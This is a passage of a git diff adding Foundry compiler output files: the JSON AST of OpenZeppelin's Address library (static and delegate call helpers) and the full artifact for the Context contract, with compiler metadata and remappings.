memory"}},"functionReturnParameters":719,"id":741,"nodeType":"Return","src":"6039:59:3"}]},"documentation":{"id":709,"nodeType":"StructuredDocumentation","src":"5511:173:3","text":" @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n but performing a static call.\n _Available since v3.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionStaticCall","overrides":null,"parameters":{"id":716,"nodeType":"ParameterList","parameters":[{"constant":false,"id":711,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":743,"src":"5717:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":710,"name":"address","nodeType":"ElementaryTypeName","src":"5717:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":713,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":743,"src":"5733:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":712,"name":"bytes","nodeType":"ElementaryTypeName","src":"5733:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"},{"constant":false,"id":715,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":743,"src":"5752:26:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":714,"name":"string","nodeType":"ElementaryTypeName","src":"5752:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"5716:63:3"},"returnParameters":{"id":719,"nodeType":"ParameterList","parameters":[{"constant":false,"id":718,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":743,"src":"5803:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":717,"name":"bytes","nodeType":"ElementaryTypeName","src":"5803:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"5802:14:3"},"scope":826,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":760,"nodeType":"FunctionDefinition","src":"6284:198:3","nodes":[],"body":{"id":759,"nodeType":"Block","src":"6381:101:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":754,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":746,"src":"6419:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"argumentTypes":null,"id":755,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":748,"src":"6427:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"hexValue":"416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564","id":756,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6433:41:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398","typeString":"literal_string \"Address: low-level delegate call failed\""},"value":"Address: low-level delegate call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_9fdcd12e4b726339b32a442b0a448365d5d85c96b2d2cff917b4f66c63110398","typeString":"literal_string \"Address: low-level delegate call failed\""}],"id":753,"name":"functionDelegateCall","nodeType":"Identifier","overloadedDeclarations":[760,795],"referencedDeclaration":795,"src":"6398:20:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) returns (bytes memory)"}},"id":757,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6398:77:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":752,"id":758,"nodeType":"Return","src":"6391:84:3"}]},"documentation":{"id":744,"nodeType":"StructuredDocumentation","src":"6111:168:3","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but performing a delegate call.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionDelegateCall","overrides":null,"parameters":{"id":749,"nodeType":"ParameterList","parameters":[{"constant":false,"id":746,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":760,"src":"6314:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":745,"name":"address","nodeType":"ElementaryTypeName","src":"6314:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":748,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":760,"src":"6330:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":747,"name":"bytes","nodeType":"ElementaryTypeName","src":"6330:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"6313:35:3"},"returnParameters":{"id":752,"nodeType":"ParameterList","parameters":[{"constant":false,"id":751,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":760,"src":"6367:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":750,"name":"bytes","nodeType":"ElementaryTypeName","src":"6367:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"6366:14:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":795,"nodeType":"FunctionDefinition","src":"6668:417:3","nodes":[],"body":{"id":794,"nodeType":"Block","src":"6793:292:3","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":774,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":763,"src":"6822:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":773,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":550,"src":"6811:10:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6811:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374","id":776,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6831:40:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_b94ded0918034cf8f896e19fa3cfdef1188cd569c577264a3622e49152f88520","typeString":"literal_string \"Address: delegate call to non-contract\""},"value":"Address: delegate call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b94ded0918034cf8f896e19fa3cfdef1188cd569c577264a3622e49152f88520","typeString":"literal_string \"Address: delegate call to non-contract\""}],"id":772,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6803:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6803:69:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":778,"nodeType":"ExpressionStatement","src":"6803:69:3"},{"assignments":[780,782],"declarations":[{"constant":false,"id":780,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":794,"src":"6943:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":779,"name":"bool","nodeType":"ElementaryTypeName","src":"6943:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":782,"mutability":"mutable","name":"returndata","nodeType":"VariableDeclaration","overrides":null,"scope":794,"src":"6957:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":781,"name":"bytes","nodeType":"ElementaryTypeName","src":"6957:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"id":787,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":785,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":765,"src":"7004:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":783,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":763,"src":"6984:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":784,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"delegatecall","nodeType":"MemberAccess","referencedDeclaration":null,"src":"6984:19:3","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6984:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"6942:67:3"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":789,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":780,"src":"7044:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"id":790,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":782,"src":"7053:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"argumentTypes":null,"id":791,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":767,"src":"7065:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":788,"name":"_verifyCallResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":825,"src":"7026:17:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bool,bytes memory,string memory) pure returns (bytes memory)"}},"id":792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"7026:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":771,"id":793,"nodeType":"Return","src":"7019:59:3"}]},"documentation":{"id":761,"nodeType":"StructuredDocumentation","src":"6488:175:3","text":" @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n but performing a delegate call.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionDelegateCall","overrides":null,"parameters":{"id":768,"nodeType":"ParameterList","parameters":[{"constant":false,"id":763,"mutability":"mutable","name":"target","nodeType":"VariableDeclaration","overrides":null,"scope":795,"src":"6698:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":762,"name":"address","nodeType":"ElementaryTypeName","src":"6698:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"},{"constant":false,"id":765,"mutability":"mutable","name":"data","nodeType":"VariableDeclaration","overrides":null,"scope":795,"src":"6714:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":764,"name":"bytes","nodeType":"ElementaryTypeName","src":"6714:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"},{"constant":false,"id":767,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":795,"src":"6733:26:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":766,"name":"string","nodeType":"ElementaryTypeName","src":"6733:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"6697:63:3"},"returnParameters":{"id":771,"nodeType":"ParameterList","parameters":[{"constant":false,"id":770,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":795,"src":"6779:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":769,"name":"bytes","nodeType":"ElementaryTypeName","src":"6779:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"6778:14:3"},"scope":826,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":825,"nodeType":"FunctionDefinition","src":"7091:725:3","nodes":[],"body":{"id":824,"nodeType":"Block","src":"7220:596:3","nodes":[],"statements":[{"condition":{"argumentTypes":null,"id":806,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":797,"src":"7234:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":822,"nodeType":"Block","src":"7291:519:3","statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":810,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":799,"src":"7375:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":811,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"length","nodeType":"MemberAccess","referencedDeclaration":null,"src":"7375:17:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":812,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7395:1:3","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7375:21:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":820,"nodeType":"Block","src":"7747:53:3","statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":817,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":801,"src":"7772:12:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":816,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"7765:6:3","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":818,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"7765:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":819,"nodeType":"ExpressionStatement","src":"7765:20:3"}]},"id":821,"nodeType":"IfStatement","src":"7371:429:3","trueBody":{"id":815,"nodeType":"Block","src":"7398:343:3","statements":[{"AST":{"nodeType":"YulBlock","src":"7582:145:3","statements":[{"nodeType":"YulVariableDeclaration","src":"7604:40:3","value":{"arguments":[{"name":"returndata","nodeType":"YulIdentifier","src":"7633:10:3"}],"functionName":{"name":"mload","nodeType":"YulIdentifier","src":"7627:5:3"},"nodeType":"YulFunctionCall","src":"7627:17:3"},"variables":[{"name":"returndata_size","nodeType":"YulTypedName","src":"7608:15:3","type":""}]},{"expression":{"arguments":[{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"7676:2:3","type":"","value":"32"},{"name":"returndata","nodeType":"YulIdentifier","src":"7680:10:3"}],"functionName":{"name":"add","nodeType":"YulIdentifier","src":"7672:3:3"},"nodeType":"YulFunctionCall","src":"7672:19:3"},{"name":"returndata_size","nodeType":"YulIdentifier","src":"7693:15:3"}],"functionName":{"name":"revert","nodeType":"YulIdentifier","src":"7665:6:3"},"nodeType":"YulFunctionCall","src":"7665:44:3"},"nodeType":"YulExpressionStatement","src":"7665:44:3"}]},"evmVersion":"istanbul","externalReferences":[{"declaration":799,"isOffset":false,"isSlot":false,"src":"7633:10:3","valueSize":1},{"declaration":799,"isOffset":false,"isSlot":false,"src":"7680:10:3","valueSize":1}],"id":814,"nodeType":"InlineAssembly","src":"7573:154:3"}]}}]},"id":823,"nodeType":"IfStatement","src":"7230:580:3","trueBody":{"id":809,"nodeType":"Block","src":"7243:42:3","statements":[{"expression":{"argumentTypes":null,"id":807,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":799,"src":"7264:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":805,"id":808,"nodeType":"Return","src":"7257:17:3"}]}}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_verifyCallResult","overrides":null,"parameters":{"id":802,"nodeType":"ParameterList","parameters":[{"constant":false,"id":797,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":825,"src":"7118:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":796,"name":"bool","nodeType":"ElementaryTypeName","src":"7118:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":799,"mutability":"mutable","name":"returndata","nodeType":"VariableDeclaration","overrides":null,"scope":825,"src":"7132:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":798,"name":"bytes","nodeType":"ElementaryTypeName","src":"7132:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"},{"constant":false,"id":801,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":825,"src":"7157:26:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":800,"name":"string","nodeType":"ElementaryTypeName","src":"7157:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"7117:67:3"},"returnParameters":{"id":805,"nodeType":"ParameterList","parameters":[{"constant":false,"id":804,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":825,"src":"7206:12:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":803,"name":"bytes","nodeType":"ElementaryTypeName","src":"7206:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"7205:14:3"},"scope":826,"stateMutability":"pure","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"library","documentation":{"id":533,"nodeType":"StructuredDocumentation","src":"66:67:3","text":" @dev Collection of functions related to the address type"},"fullyImplemented":true,"linearizedBaseContracts":[826],"name":"Address","scope":827}],"license":"MIT"},"id":3} \ No newline at end of file diff --git a/contracts/out/utils/Context.sol/Context.json b/contracts/out/utils/Context.sol/Context.json new file mode 100644 index 000000000..056d9e12d --- /dev/null +++ b/contracts/out/utils/Context.sol/Context.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":\"Context\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/utils/Context.sol\":{\"keccak256\":\"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f\",\"dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":"Context"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/utils/Context.sol":{"keccak256":"0x8d3cb350f04ff49cfb10aef08d87f19dcbaecc8027b0bed12f3275cd12f38cf0","urls":["bzz-raw://ded47ec7c96750f9bd04bbbc84f659992d4ba901cb7b532a52cd468272cf378f","dweb:/ipfs/QmfBrGtQP7rZEqEg6Wz6jh2N2Kukpj1z5v3CGWmAqrzm96"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Context.sol","id":850,"exportedSymbols":{"Context":[849]},"nodeType":"SourceUnit","src":"33:908:4","nodes":[{"id":828,"nodeType":"PragmaDirective","src":"33:31:4","nodes":[],"literals":["solidity",">=","0.6",".0","<","0.8",".0"]},{"id":849,"nodeType":"ContractDefinition","src":"566:374:4","nodes":[{"id":837,"nodeType":"FunctionDefinition","src":"598:104:4","nodes":[],"body":{"id":836,"nodeType":"Block","src":"668:34:4","nodes":[],"statements":[{"expression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":833,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"685:3:4","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":834,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"685:10:4","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":832,"id":835,"nodeType":"Return","src":"678:17:4"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_msgSender","overrides":null,"parameters":{"id":829,"nodeType":"ParameterList","parameters":[],"src":"617:2:4"},"returnParameters":{"id":832,"nodeType":"ParameterList","parameters":[{"constant":false,"id":831,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":837,"src":"651:15:4","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":830,"name":"address","nodeType":"ElementaryTypeName","src":"651:15:4","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"}],"src":"650:17:4"},"scope":849,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":848,"nodeType":"FunctionDefinition","src":"708:230:4","nodes":[],"body":{"id":847,"nodeType":"Block","src":"773:165:4","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":842,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"783:4:4","typeDescriptions":{"typeIdentifier":"t_contract$_Context_$849","typeString":"contract Context"}},"id":843,"nodeType":"ExpressionStatement","src":"783:4:4"},{"expression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":844,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"923:3:4","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":845,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"data","nodeType":"MemberAccess","referencedDeclaration":null,"src":"923:8:4","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"functionReturnParameters":841,"id":846,"nodeType":"Return","src":"916:15:4"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_msgData","overrides":null,"parameters":{"id":838,"nodeType":"ParameterList","parameters":[],"src":"725:2:4"},"returnParameters":{"id":841,"nodeType":"ParameterList","parameters":[{"constant":false,"id":840,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":848,"src":"759:12:4","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":839,"name":"bytes","nodeType":"ElementaryTypeName","src":"759:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":null,"visibility":"internal"}],"src":"758:14:4"},"scope":849,"stateMutability":"view","virtual":true,"visibility":"internal"}],"abstract":true,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[849],"name":"Context","scope":850}],"license":"MIT"},"id":4} \ No newline at end of file diff --git a/contracts/out/utils/Initializable.sol/Initializable.json b/contracts/out/utils/Initializable.sol/Initializable.json new file mode 100644 index 000000000..175feabb6 --- /dev/null +++ b/contracts/out/utils/Initializable.sol/Initializable.json @@ -0,0 +1 @@ 